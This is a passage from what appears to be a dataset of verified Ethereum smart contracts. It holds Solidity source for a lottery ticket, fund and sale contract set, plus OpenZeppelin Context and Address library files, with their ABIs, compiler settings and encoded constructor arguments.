uint32 ticketAmount;
uint32 playerIndex;
uint dreamAmount;
}
uint64 public totalTickets;
uint64 public maxTickets;
mapping (address => Ticket) internal tickets;
address[] internal players;
function TicketHolder(uint _maxTickets) {
maxTickets = uint64(_maxTickets);
}
/**
* @dev Issue tickets for the specified address.
* @param _addr Receiver address.
* @param _ticketAmount Amount of tickets to issue.
* @param _dreamAmount Amount of dream or zero, if use previous.
*/
function issueTickets(address _addr, uint _ticketAmount, uint _dreamAmount) public restricted {
require(_ticketAmount <= MAX_TICKETS);
require(totalTickets <= maxTickets);
Ticket storage ticket = tickets[_addr];
// if fist issue for this user
if (ticket.ticketAmount == 0) {
require(_dreamAmount >= MINIMAL_DREAM);
ticket.dreamAmount = _dreamAmount;
ticket.playerIndex = uint32(players.length);
players.push(_addr);
}
// add new ticket amount
ticket.ticketAmount += uint32(_ticketAmount);
// check to overflow
require(ticket.ticketAmount >= _ticketAmount);
// cal total
totalTickets += uint64(_ticketAmount);
// check to overflow
require(totalTickets >= _ticketAmount);
}
function setWinner(address _addr) public restricted {
Ticket storage ticket = tickets[_addr];
require(ticket.ticketAmount != 0);
ticket.ticketAmount = 0;
}
function getTickets(uint index) public constant returns (address addr, uint ticketAmount, uint dreamAmount) {
if (players.length == 0) {
return;
}
if (index > players.length - 1) {
return;
}
addr = players[index];
Ticket storage ticket = tickets[addr];
ticketAmount = ticket.ticketAmount;
dreamAmount = ticket.dreamAmount;
}
function getTicketsByAddress(address _addr) public constant returns (uint playerIndex, uint ticketAmount, uint dreamAmount) {
Ticket storage ticket = tickets[_addr];
playerIndex = ticket.playerIndex;
ticketAmount = ticket.ticketAmount;
dreamAmount = ticket.dreamAmount;
}
function getPlayersCount() public constant returns (uint) {
return players.length;
}
}
contract Fund is Restriction, DreamConstants {
using SafeMath for uint256;
mapping (address => uint) public balances;
event Pay(address receiver, uint amount);
event Refund(address receiver, uint amount);
// how many funds are collected
uint public totalAmount;
// how many funds are payed as prize
uint internal totalPrizeAmount;
// absolute refund date
uint32 internal refundDate;
// user who will receive all funds
address internal beneficiary;
function Fund(uint _absoluteRefundDate, address _beneficiary) public {
refundDate = uint32(_absoluteRefundDate);
beneficiary = _beneficiary;
}
function deposit(address _addr) public payable restricted {
uint balance = balances[_addr];
balances[_addr] = balance.add(msg.value);
totalAmount = totalAmount.add(msg.value);
}
function withdraw(uint amount) public restricted {
beneficiary.transfer(amount);
}
/**
* @dev Pay from fund to the specified address only if not payed already.
* @param _addr Address to pay.
* @param _amountWei Amount to pay.
*/
function pay(address _addr, uint _amountWei) public restricted {
// we have enough funds
require(this.balance >= _amountWei);
require(balances[_addr] != 0);
delete balances[_addr];
totalPrizeAmount = totalPrizeAmount.add(_amountWei);
// send funds
_addr.transfer(_amountWei);
Pay(_addr, _amountWei);
}
/**
* @dev If funds already payed to the specified address.
* @param _addr Address to check.
*/
function isPayed(address _addr) public constant returns (bool) {
return balances[_addr] == 0;
}
function enableRefund() public restricted {
require(refundDate > uint32(block.timestamp));
refundDate = uint32(block.timestamp);
}
function refund(address _addr) public restricted {
require(refundDate >= uint32(block.timestamp));
require(balances[_addr] != 0);
uint amount = refundAmount(_addr);
delete balances[_addr];
_addr.transfer(amount);
Refund(_addr, amount);
}
function refundAmount(address _addr) public constant returns (uint) {
uint balance = balances[_addr];
uint restTotal = totalAmount.sub(totalPrizeAmount);
uint share = balance.mul(ACCURACY).div(totalAmount);
return restTotal.mul(share).div(ACCURACY);
}
}
contract RandomOraclizeProxyI {
function requestRandom(function (bytes32) external callback, uint _gasLimit) public payable;
function getRandomPrice(uint _gasLimit) public constant returns (uint);
}
contract CompaniesManagerInterface {
function processing(address player, uint amount, uint ticketCount, uint totalTickets) public;
}
contract TicketSale is Restriction, DreamConstants {
using SafeMath for uint256;
uint constant RANDOM_GAS = 1000000;
TicketHolder public ticketHolder;
Fund public fund;
RandomOraclizeProxyI private proxy;
CompaniesManagerInterface public companiesManager;
bytes32[] public randomNumbers;
uint32 public endDate;
function TicketSale(uint _endDate, address _proxy, address _beneficiary, uint _maxTickets) public {
require(_endDate > block.timestamp);
require(_beneficiary != 0);
uint refundDate = block.timestamp + REFUND_AFTER;
// end date mist be less then refund
require(_endDate < refundDate);
ticketHolder = new TicketHolder(_maxTickets);
ticketHolder.giveAccess(msg.sender);
fund = new Fund(refundDate, _beneficiary);
fund.giveAccess(msg.sender);
endDate = uint32(_endDate);
proxy = RandomOraclizeProxyI(_proxy);
}
function buyTickets(uint _dreamAmount) public payable {
buyTicketsInternal(msg.sender, msg.value, _dreamAmount);
}
function buyTicketsFor(address _addr, uint _dreamAmount) public payable {
buyTicketsInternal(_addr, msg.value, _dreamAmount);
}
function buyTicketsInternal(address _addr, uint _valueWei, uint _dreamAmount) internal notEnded {
require(_valueWei >= TICKET_PRICE);
require(checkDream(_dreamAmount));
uint change = _valueWei % TICKET_PRICE;
uint weiAmount = _valueWei - change;
uint ticketCount = weiAmount.div(TICKET_PRICE);
if (address(companiesManager) != 0) {
uint totalTickets = ticketHolder.totalTickets();
companiesManager.processing(_addr, weiAmount, ticketCount, totalTickets);
}
// issue right amount of tickets
ticketHolder.issueTickets(_addr, ticketCount, _dreamAmount);
// transfer to fund
fund.deposit.value(weiAmount)(_addr);
// return change
if (change != 0) {
msg.sender.transfer(change);
}
}
// server integration methods
function refund() public {
fund.refund(msg.sender);
}
/**
* @dev Send funds to player by index. In case server calculate all.
* @param _playerIndex The winner player index.
* @param _amountWei Amount of prize in wei.
*/
function payout(uint _playerIndex, uint _amountWei) public restricted ended {
address playerAddress;
uint ticketAmount;
uint dreamAmount;
(playerAddress, ticketAmount, dreamAmount) = ticketHolder.getTickets(_playerIndex);
require(playerAddress != 0);
// pay the player's dream
fund.pay(playerAddress, _amountWei);
}
/**
* @dev If funds already payed to the specified player by index.
* @param _playerIndex Player index.
*/
function isPayed(uint _playerIndex) public constant returns (bool) {
address playerAddress;
uint ticketAmount;
uint dreamAmount;
(playerAddress, ticketAmount, dreamAmount) = ticketHolder.getTickets(_playerIndex);
require(playerAddress != 0);
return fund.isPayed(playerAddress);
}
/**
* @dev Server method. Finish lottery (force finish if required), enable refund.
*/
function finish() public restricted {
// force end
if (endDate > uint32(block.timestamp)) {
endDate = uint32(block.timestamp);
}
}
// random integration
function requestRandom() public payable restricted {
uint price = proxy.getRandomPrice(RANDOM_GAS);
require(msg.value >= price);
uint change = msg.value - price;
proxy.requestRandom.value(price)(this.random_callback, RANDOM_GAS);
if (change > 0) {
msg.sender.transfer(change);
}
}
function random_callback(bytes32 _randomNumbers) external {
require(msg.sender == address(proxy));
randomNumbers.push(_randomNumbers);
}
// companies integration
function setCompanyManager(address _addr) public restricted {
companiesManager = CompaniesManagerInterface(_addr);
}
// constant methods
function isEnded() public constant returns (bool) {
return block.timestamp > endDate;
}
function checkDream(uint _dreamAmount) internal constant returns (bool) {
return
_dreamAmount == 0 ||
_dreamAmount == 3 ether ||
_dreamAmount == 5 ether ||
_dreamAmount == 7 ether ||
_dreamAmount == 10 ether ||
_dreamAmount == 15 ether ||
_dreamAmount == 20 ether ||
_dreamAmount == 30 ether ||
_dreamAmount == 40 ether ||
_dreamAmount == 50 ether ||
_dreamAmount == 75 ether ||
_dreamAmount == 100 ether ||
_dreamAmount == 150 ether ||
_dreamAmount == 200 ether ||
_dreamAmount == 300 ether ||
_dreamAmount == 400 ether ||
_dreamAmount == 500 ether ||
_dreamAmount == 750 ether ||
_dreamAmount == 1000 ether ||
_dreamAmount == 1500 ether ||
_dreamAmount == 2000 ether ||
_dreamAmount == 2500 ether;
}
modifier notEnded() {
require(!isEnded());
_;
}
modifier ended() {
require(isEnded());
_;
}
function randomCount() public constant returns (uint) {
return randomNumbers.length;
}
function getRandomPrice() public constant returns (uint) {
return proxy.getRandomPrice(RANDOM_GAS);
}
} | [{"constant":false,"inputs":[{"name":"_addr","type":"address"},{"name":"_dreamAmount","type":"uint256"}],"name":"buyTicketsFor","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_dreamAmount","type":"uint256"}],"name":"buyTickets","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"randomNumbers","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"refund","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_playerIndex","type":"uint256"},{"name":"_amountWei","type":"uint256"}],"name":"payout","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"randomCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_randomNumbers","type":"bytes32"}],"name":"random_callback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ticketHolder","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"hasAccess","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addr","type":"address"}],"name":"removeAccess","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getRandomPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"companiesManager","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isEnded","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fund","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"endDate","outputs":[{"name":"","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addr","type":"address"}],"name":"setCompanyManager","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_addr","type":"address"}],"name":"giveAccess","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_playerIndex","type":"uint256"}],"name":"isPayed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finish","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"requestRandom","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_endDate","type":"uint256"},{"name":"_proxy","type":"address"},{"name":"_beneficiary","type":"address"},{"name":"_maxTickets","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"}] | v0.4.19+commit.c4cbbb05 | true | 200 | 000000000000000000000000000000000000000000000000000000005a3f96c00000000000000000000000008e2cf2d061197e8eeccdbb292a4a61d8579cdd4d000000000000000000000000b42bebff7a077358da8ba3035faf989552d7ad44000000000000000000000000000000000000000000000000000000000001ae15 | Default | false | bzzr://8b80d8879600561ff43e453cfc02ad0e063a7e8bff3a8dfc80cf3b6489b77344 |
|||
KidKongz | @openzeppelin/contracts/utils/Context.sol | 0x8658da91d9debe7bfb8fa91161abbed069bd5a84 | Solidity | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | 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ype":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setNftPerAddressLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setOnlyWl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wlAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"wlUsers","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000094b6964204b6f6e677a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b4944000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046697066733a2f2f516d53356e34703352744257346d4454624c73637a4b586855777555504764794e6e506a4c725364524a687535612f6e6f7472657665616c65642e6a736f6e0000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://de4e36de46bc020a3d0c7bf5cdcf2509dd384da6d352f71d3ad432f4113c9cd5 |
||
KidKongz | @openzeppelin/contracts/utils/Address.sol | 0x8658da91d9debe7bfb8fa91161abbed069bd5a84 | Solidity | pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressMintedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isWl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerAddressLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyWl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setNftPerAddressLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setOnlyWl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wlAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"wlUsers","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000094b6964204b6f6e677a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b4944000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046697066733a2f2f516d53356e34703352744257346d4454624c73637a4b586855777555504764794e6e506a4c725364524a687535612f6e6f7472657665616c65642e6a736f6e0000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | 